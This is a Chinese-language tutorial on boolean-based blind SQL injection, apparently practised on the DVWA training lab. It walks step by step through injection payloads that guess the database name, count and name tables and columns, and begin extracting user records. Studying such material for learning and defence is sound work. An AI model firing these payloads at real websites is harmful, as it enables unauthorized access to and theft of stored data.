布林注入:
當我們在注入的過程中輸入的語句在頁面沒有資料返回點,這就需要利用布林型盲注一步步來猜取想要的資料。(盲注分為布林盲注和時間盲注)
盲注常用函式:
length() 返回字串的長度, 可以返回 資料庫 表明 列名的 長度
substr() 擷取字串。subster(string, start, length) 字串, 從第幾位擷取,擷取長度是多少
ascil() 返回ascil碼
基於時間盲注:
sleep(n) 將程式掛起一段時間,n為n秒
if(expr1,expr2,expr3) if判斷語句
布林注入流程:
1.判斷是否存在注入,字元型還是數字型。
2.猜解當前資料庫長度
這個注入過程就相當於 輸入者跟資料庫進行對話
你問: 1' and length (database())=1 # ( 這裡猜測資料庫名稱為1個字元)
資料庫回答: missing
繼續猜測 1‘and length(database())=4 # 當我們輸入到4的時候 資料庫返回使用者id存在 資料庫中 ,那麼可得出資料庫名稱為4位
猜名稱 (二分法逐字猜解)
ascii碼值: A到Z的ASCII碼是65到90,a到z的ascii碼值是97到122
首先,我們用二分法取中間數來猜取資料庫名稱的第一位字母
1' and ascii(substr(database(),1,1))>97 #
顯示存在,說明資料庫的第一個字母是大於或等於97的,
1' and ascii(substr(database(),1,1))<122 #
繼續使用二分法測試,發現小於122
1' and ascii (substr(database(),1,1))<109 #
測試發現小於109
1' and ascii (substr(database(),1,1))<102 #
發現小於102繼續測試
1' and ascii (substr(database(),1,1))<100 #
發現報錯了,這就說明 資料庫名稱<=100
1' and ascii (substr(database(),1,1))<=100 #
資料庫的第一位數字的ascii為100 即為d
剩下三位 只需更改substr 的 第二個引數 即可 獲取完整的資料庫名稱
3.猜解表名 (猜解表的數量)
1' and (select count(table_name) from information_schema.tables where table_schema=database())=1 #
1' and (select count(table_name) from information_schema.tables where table_schema=database())=2 #
顯示存在,說明 這個資料庫裡有 2個表
(猜解第⼀個表名長度)
1' and length (substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=1 #
顯示第一個表名的這個長度不為1. 繼續測試
1' and length (substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=2 #
不為2
.
.
.
1' and length (substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=9 #
這裡顯示猜出第一個表名的為9
接下來只要更改limit 的引數(1.1) 即可猜解第二張表的長度。
猜解第一個表的名字
1' and ascii (substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)) >97 #
通過二分法和猜解資料庫名稱一樣,取猜解表名。
最後猜解表名為 guestbook users
猜解表的欄位名 數量:
1' and (select count(column_name) from information_schema.columns where table_name= 'users')=1 #
1' and (select count(column_name) from information_schema.columns where table_name= 'users')=8 #
猜解第一個欄位的長度
方法同猜解表名長度
1' and length(substr((select column_name from information_schema.columns where table_name= 'users' limit 0,1),1))=1 #
猜解第一個欄位名
1' and ascii(substr((select column_name from information_schema.columns where table_name= 'users' limit 0,1),1,1))>97 # 顯⽰存在
猜解資料
依然是使用二分法猜解資料
and ascii(substr((select user from dvwa.users limit 0,1),1,1))>96 #